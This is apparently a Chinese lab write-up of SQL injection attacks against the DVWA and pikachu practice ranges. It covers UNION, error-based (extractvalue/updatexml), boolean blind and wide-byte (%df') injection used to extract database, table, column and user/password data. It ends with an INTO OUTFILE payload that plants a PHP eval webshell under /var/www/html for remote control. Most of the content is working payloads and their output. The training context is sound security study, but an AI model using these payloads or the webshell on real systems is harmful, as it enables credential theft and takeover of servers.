联合注入union,报错注入(布尔盲注),宽字节注入,Getshell

  • 一、分别在前端和后端使用联合注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。以DAWA靶场做试验。
  • 1.1安全等级调致LOW等级

1.2 information_schema.schemata表包含了数据库里所有数据库的元数据,其中schema_name字段存储着数据库名

1.3运用UNION语句将恶意查询和原查询合并,以此获取information_schema.schemata表中的数据库名。

爆库名

后端输入

前端输入

1' union select group_concat(schema_name),version() from information_schema.schemata #

爆表名

 information_schema.tables 中查询出属于 DVWA 数据库的所有表

后端SQL语句:SELECT table_name FROM information_schema.tables WHERE table_schema = 'dvwa';

前端SQL语句

1' union select table_name,1 from information_schema.tables where table_schema = 'dvwa'#

爆列名

通过查询数据库的元数据(information_schema.columns),筛选出特定库(dvwa)和表(users)的列信息

SELECT column_name FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'users';

前端输入

1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#

1’ (闭合原始查询中的字符串并注入恶意代码)

UNION SELECT 1,group_concat(column_name) 通过联合查询追加新结果

UNION :合并两个查询结果(要求列数相同)

SELECT 1:占位列。如果原查询返回 2 列,这里用 1 填充第一列以满足列数匹配。

group_concat(column_name) 将 column_name 字段的所有值合并成一个字符串(用逗号分隔)

from information_schema.columns从系统元数据表 columns 中查询字段数据

WHERE table_schema='dvwa' AND table_name='users'  筛选 dvwa 数据库的 users 表列信息

注释掉原始查询中后续的代码(例如原查询可能存在的 ' 或其他条件),避免语法错误。

后端USER, PASSWORD查询

前端注入1' UNION select 1,group_concat(user,password) from users#

二、分别在前端和后端使用报错注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。

2.1报错注入需用到EXTRACTVALUE 涵数,CONCAT 函数 ,GROUP_CONCAT 函数

EXTRACTVALUE: 是 MySQL 里用于从 XML 文档中提取值的函数,其语法为 EXTRACTVALUE(xml_frag, xpath_expr)。这里的 xml_frag 是 XML 片段,xpath_expr 是 XPath 表达式,函数会依据 XPath 表达式从 XML 片段里提取对应的值

CONCAT 函数:作用是将多个字符串连接成一个字符串

GROUP_CONCAT 函数:把分组后的多行数据合并成一个字符串

2.2报错注入原理:数据库在执行 SQL 语句时,如果遇到语法错误、逻辑错误或数据类型冲突,会返回错误信息。攻击者通过 精心构造错误,使这些错误信息中包含目标数据(如数据库名、表名、字段值等)

2.3爆库名

后面输入SELECT extractvalue(1,concat(0x7e,database()));#

通过Xpath  ~非路径 语法错误弹出报错信息

前端输入1' and extractvalue(1,concat(0x7e,database()));#

1':用于闭合原始 SQL 语句中的单引号,破坏其原本的语法结构,为后续注入恶意代码做准备。

and:在 SQL 里是逻辑运算符,用于连接多个条件。

爆表数

SELECT first_name, last_name FROM users WHERE user_id = 1 AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT COUNT(table_name)FROM information_schema.tables WHERE table_schema = 'dvwa')));

前端输入1' AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT COUNT(table_name)FROM information_schema.tables WHERE table_schema = 'dvwa')));#

爆表名

后端:SELECT first_name, last_name FROM users WHERE user_id = 1 AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name)FROM information_schema.tables WHERE table_schema = DATABASE())));

前端1' AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name)FROM information_schema.tables WHERE table_schema = DATABASE())));#

爆表名使用limit函数(两列,分别guestbook和users)

mysql> SELECT first_name,last_name FROM users WHERE user_id = 1 AND EXTRACTVALUE(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)));

ERROR 1105 (HY000): XPATH syntax error: '~guestbook'

mysql> SELECT first_name,last_name FROM users WHERE user_id = 1 AND EXTRACTVALUE(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 1,2)));

ERROR 1105 (HY000): XPATH syntax error: '~users'

mysql> SELECT first_name,last_name FROM users WHERE user_id = 1 AND EXTRACTVALUE(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 2,1)));

Empty set (0.00 sec)

前端输入: 使用EXTRACTVALUE 函数

1' AND EXTRACTVALUE(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#

使用updatexml 函数

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);#

爆列数(表有几字段)通过0x7e十六进制编码的波浪符 ~,用于在错误信息中暴露子查询结果

后端:SQL注入语句

mysql> SELECT first_name, last_name FROM users WHERE user_id = 1’ AND extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users')));#

ERROR 1105 (HY000): XPATH syntax error: '~8'

前端:SQL注入攻击语句

1' AND extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users')));#

爆字段名

后端:SQL注入语句, 使用group_concat显示字段不全

mysql> SELECT first_name, last_name FROM users WHERE user_id = 1 AND extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users')));

ERROR 1105 (HY000): XPATH syntax error: '~user_id,first_name,last_name,us'

使用limit select * from table limit m,n ,其中 m 是指记录开始,从 0 开始,表示第一条记录;n是指从第 m+1 条开始,取 n

SELECT first_name, last_name FROM users WHERE user_id = 1 AND extractvalue(1,concat(0x7e,(select (column_name) from information_schema.columns where table_schema = database() and table_name = 'users'limit 0,1)));

前端:SQL注入语句,8个字段名通过limit 函数一个字段一个字段的爆出来。以下试验只展示第一个字段名和第八个字段名

1' and extractvalue(1,concat(0x7e,(select column_name from

information_schema.columns where table_name='users' limit 2,1)));#

第一个字段:user_id

第八个字段: failed_login

1' and extractvalue(1,concat(0x7e,(select column_name from

information_schema.columns where table_name='users' limit 7,1)));#

爆数据得到用户名和密码

后端SQL语句注入

SELECT first_name, last_name FROM users WHERE user_id = 1 and extractvalue(1,concat(0x7e,(select user from users where user_id=1)));

SELECT first_name, last_name FROM users WHERE user_id = 1 and extractvalue(1,concat(0x7e,(select user from users where password=1)));

1' and extractvalue(1,concat(0x7e,(select user from users where user_id=1)));#

1' and extractvalue(1,concat(0x7e,(select password from users where

user_id=1)));#

5)在extractvalue函数中,为什么'~'写在参数1的位置不报错,而写在参数2的位置报错?

回复:参数1代表文件名可以有'~',  参数2代表路径不可以'~',

6)报错注入中,为什么要突破单引号的限制,如何突破?

回复:当输入的数据被包含在单引号内作为字符串值时,如果不突破单引号限制,那么输入的内容就只能作为一个普通的字符串常量使用,如果当单引号被严格过滤或转义时'~'可以利用其他字符来替代单引号的部分功能。~字符(十六进制为0x7e)可以用来绕过单引号限制。数据库会返回包含错误信息的结果.而这些错误信息中可能包含我们想要获取的敏感数据,如数据库表名、列名等

7)在报错注入过程中,为什么要进行报错,是哪种类型的报错?

回复:报错注入有extractvalue()函数和updatexml()函数,报错是通过错误信息中可能包含我们想要获取的敏感数据,如数据库表名、列名等,语法报错

六、任选布尔盲注或者时间盲注在前端和后端实现“库名-表名”的注入过程,写清楚注入步骤。

盲注定义:

盲注是一种数据库注入攻击方式,攻击者利用应用程序对用户输入验证不足的漏洞,通过向目标数据库发送精心构造的恶意 SQL 语句,在不直接获取数据库响应结果的情况下,通过观察数据库的行为或响应的其他特征来获取敏感信息。

盲注分布尔盲注和时间时间盲注

布尔盲注:基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面),没有之前的查询信息或者报错信息。

时间盲注:利用数据库在执行某些操作时的时间延迟来获取信息。攻击者构造的 SQL 语句会让数据库在满足特定条件时执行一个耗时的操作。

爆破顺序

库数--库名--表数--表名--表名字段的数--字段名—数据

6.1靶场环境;DVWA  数据库:DVWA   布尔盲注

输入数字1提交,页面提示:User ID exists in the database.,说明ID为1的存在与数据库中

输入数字9提交,页面显示:User ID is MISSING from the database,说明ID为9不在数据库中!

6.2布尔盲注常用函数

length(str): 返回字符串的长度。

substr(str, pos, len): 截取字符串,从pos位置开始,截取len长度。

ascii(char): 返回字符的ASCII码。

count(): 返回当前列的数量。

case when (条件) then 代码1 else 代码2 end: 条件成立则执行代码1,否则执行代码

6.3猜库名判断数据库名称的长度

1 and legth(database)())>3;回显正常, 1 and legth(database)())>4;回显错误,说明数库名等于4

前端SQL注入语句

6.4猜测数据库名(使用ascii码来依次判断)

Ascii码对照表链接ASCII码对照表|ASCII编码

SUBSTR(strings|express, num start, num length); start为起始位置;length为长度。

strings|express:被截取的字符串或字符串表达式;

1' and ascii(substr(database(),1,1))>88 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 88(大写字母X的ascii值);

1' and ascii(substr(database(),1,1)) >98 #,显⽰存在,说明数据库名的第⼀个字符的ascii值大于 98(⼩写字母b的ascii值);

1' and ascii(substr(database(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不 ⼩于100(⼩写字母d的ascii值);

1' and ascii(substr(database(),1,1))=100 #,显⽰存在,说明数据库名的第⼀个字符的ascii值等于100(⼩写字母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。

重复以上步骤直到得出完整的数据库名dvwa

1' and ascii(substr(database(),n,1))>100

猜解数据库第二个字符为:v

1' and ascii(substr(database(),2,1))=118 #

猜解数据库第三个字符为:w

1' and ascii(substr(database(),3,1))=119 #

猜解数据库第三个字符为:a

1' and ascii(substr(database(),4,1))=97 #

6.4猜解数据库中的表名

6.4.1猜解表的数量:

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在MISSING

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显⽰存在EXISTS

注解:

原理是使用count()这个函数来判断table_name这个表的数量有几个

然后后面有一个where判断来指定是当前数据库

在末尾有一个 =1 ,意思是判断表有1个,正确那么页面返回正常EXISTS,错误即返回不正常MISSING

由上图可知,我们判断出当前数据库名下的表有两个!

6.4.2.猜解表名

猜第一张表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显⽰存在

 注解:

table_schema=database()database()函数用于获取当前数据库的名称,该条件用于筛选出当前数据库中的表信息。

limit 0,1:表示只取查询结果中的第一条记录,也就是获取当前数据库中的第一个表名。

substr(..., 1)substr 函数是用于截取字符串的函数,第一个参数是要截取的字符串,这里是前面查询得到的表名;第二个参数 1 表示从字符串的第一个字符开始截取,也就是获取整个表名(因为没有指定截取长度,默认截取到末尾 )。

length(...) length 函数用于获取字符串的长度,这里获取的就是前面截取到的表名的长度。

= 9 :这是一个比较操作,将前面获取到的表名长度与数字 9 进行比较,判断表名长度是否为 9

由上图可见,查询出来第一个表名的长度是9

猜第二张表名的长度

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5#

6.4.3猜表名的字符

第一个表名长度为 9,意味着表名由 9 个字符组成,可使用 ASCII 码来查询表名中每个字符对应的编码值。

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 返回正常 猜解第一个表名的第二个字符长度是否为:u

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 # 返回正常 猜解第一个表名的第三个字符长度是否为:e

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 # 返回正常 猜解第一个表名的第四个字符长度是否为:s

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115 # 返回正常 猜解第一个表名的第五个字符长度是否为:t

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=116 # 返回正常 猜解第一个表名的第六个字符长度是否为:b

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=98 # 返回正常 猜解第一个表名的第七个字符长度是否为:o

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))=111 # 返回正常 猜解第一个表名的第八个字符长度是否为:o

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1))=111 # 返回正常 猜解第一个表名的第九个字符长度是否为:k

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1))=107 # 返回正常

语法格式是: 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit i,1),n,1))>97 # i 是第几个表 n 是第几个字符长度

这样就查询出来第一个表名为:guestbook

第二个表名长度为 5,意味着表名由 5个字符组成,可使用 ASCII 码来查询表名中每个字符对应的编码值。

猜解第二个表名的第一个字符长度是否为:u

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117 # 返回正常 猜解第二个表名的第二个字符长度是否为:s

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115 # 返回正常 猜解第二个表名的第三个字符长度是否为:e

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=101 # 返回正常 猜解第二个表名的第四个字符长度是否为:r

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=114 # 返回正常 猜解第二个表名的第五个字符长度是否为:s

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))=115 # 返回正常

这样我们就猜解出来了第二个表名为:users

7.猜解表中的字段名

猜字段个数

判断表名users的字段数量是否为8

1' and (select count(column_name) from information_schema.columns where

table_schema=database() and table_name='users')>8;# MISSING

1' and (select count(column_name) from information_schema.columns where

table_schema=database() and table_name='users')=8;# exists

第二张表名的字段数量同上述方法判断

判断表名users的第一个字段的长度

猜解第一个字段的长度是否为7:

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #

第二字段长度按照上述方法猜解

猜解第⼀个字段名(user_id

第一个字段名长度为 7,意味着表名由 7个字符组成,可使用 ASCII 码来查询表名中每个字符对应的编码值。

猜解第一个字段名的第一个字符为:u

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=117 # 猜解第一个字段名的第二个字符为:s

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),2,1))=115 # 猜解第一个字段名的第三个字符为:e

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),3,1))=101 # 猜解第一个字段名的第四个字符为:r

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),4,1))=114 # 猜解第一个字段名的第五个字符为:_

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),5,1))=95 # 猜解第一个字段名的第六个字符为:i

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),6,1))=105 # 猜解第一个字段名的第七个字符为:d

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),7,1))=100 #

8. 在常规操作中,若要获取users表的字段信息,原本的做法是从第 1 个字段起,逐个猜解每个字段名称的所有组成字符,以此类推直至获取第 8 个字段名称。然而当表中字段数量众多且名称较长时,这种手工猜解的方式极为耗时。鉴于时间有限,实际上并非所有字段都有获取的必要,而且字段位置在当下也无需重点关注。此时,应优先获取那些包含关键信息的字段,比如用户名和密码字段 

Users表中存在字段user

1' and (select count(*) from information_schema.columns where

table_schema=database() and table_name='users' and column_name='user')=1;#

exists

Users表中存在字段password

1' and (select count(*) from information_schema.columns where

table_schema=database() and table_name='users' and column_name='password')=1;#

exists

8.1字段值的长度的个数(user 字段)

1' and length((select user from users limit 0,1))=5;# exists

user字段中第1个字段值的字符长度=5,再使用ascii码的方式逐个爆破字符,步骤和上面一样

8.2字段值的内容

猜解 dvwa.users 表下的 user 列的第一个字段值为第一位是:a

1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 #

第一个二字段值步骤和上面一样猜解

8.1 PASSWORD 字段对应第一条记录的值的长度

1' and length((select password from users limit 0,1)) = 32#

猜解 dvwa.users 表下的 password 列的第一个字段值第一位为:5

1' and ascii(substr((select password from dvwa.users limit 0,1),1,1))=53 #

猜测这么长的密码位数,可能是用来md5的加密方式保存,

md5在线解密破解,md5解密加密

9.利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤;

9.1靶场; pikachu

docker pull area39/pikachu

docker run -d -p 8000:80 area39/pikachu

宽字节注入是一种利用字符编码特性进行 SQL 注入的攻击方式,字符型的注入点我们都是用单引号来判断的, ,但是当遇到addslashes() 函数时,单引号会被转义,导致我们用来判断注入点的单引号失效。 所以我们的目的就是使转义符 \ 失效、使单引号逃逸。

像GB2312、GBK、GB18030、BIG5、Shift Jls等编码都是常见的宽字节字符集。

英文默认占一个字节,中文占两个字节。

GBK 编码范围, GBK 编码表

9.2库名注入过程

使有 Burp Suite 工具,开启其代理(Proxy)功能拦截 HTTP 请求数据包。针对pikachu存在宽字节注入漏洞的页面,在拦截到的数据包中,对name参数值进行修改。原本的正常输入被替换为构造的包含宽字节注入 payload(如%df' union select database(),version()# )的内容,通过这种方式绕过应用程序对输入的常规过滤机制。重新发送修正后的数据包,利用宽字节注入漏洞,让目标服务器执行恶意 SQL 查询,进而成功获取到数据库名等敏感信息

9.3表名宽字节注入和库名注入一样使用Burp Suite 工具拦截数据包修改name参数值

Payload:%df' union select 1,(table_name) from information_schema.columns where table_schema=database() #

10.利用SQL注入实现DVWA站点的Getshell,写清楚攻击步骤

10.1DVWA靶场搭进

10.2安全级别设置为低(Low),因为低级别防护更易实施注入

10.3Mysql支持向外写文件(这里的“外”是指服务器内部),需要用到select into outfile 命令:

select into outfile的使用前提

网站的绝对路径

目录要有写的权限

用户写入的权限,ROOT

注意写的文件名一定是在网站中不存在,不然会失败

我们使用into outfile 写入一句话木马,文件名为shell2.php:

1' union select 1,"<?php eval($_posT['a']);?>" into outfile '/var/www/html/she112.php' #

10.4也可以构造其它payload

1' UNION SELECT 1,'hello world' INTO OUTFILE '/var/www/html/she113.php' #

10.5同蚁剑链接登录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值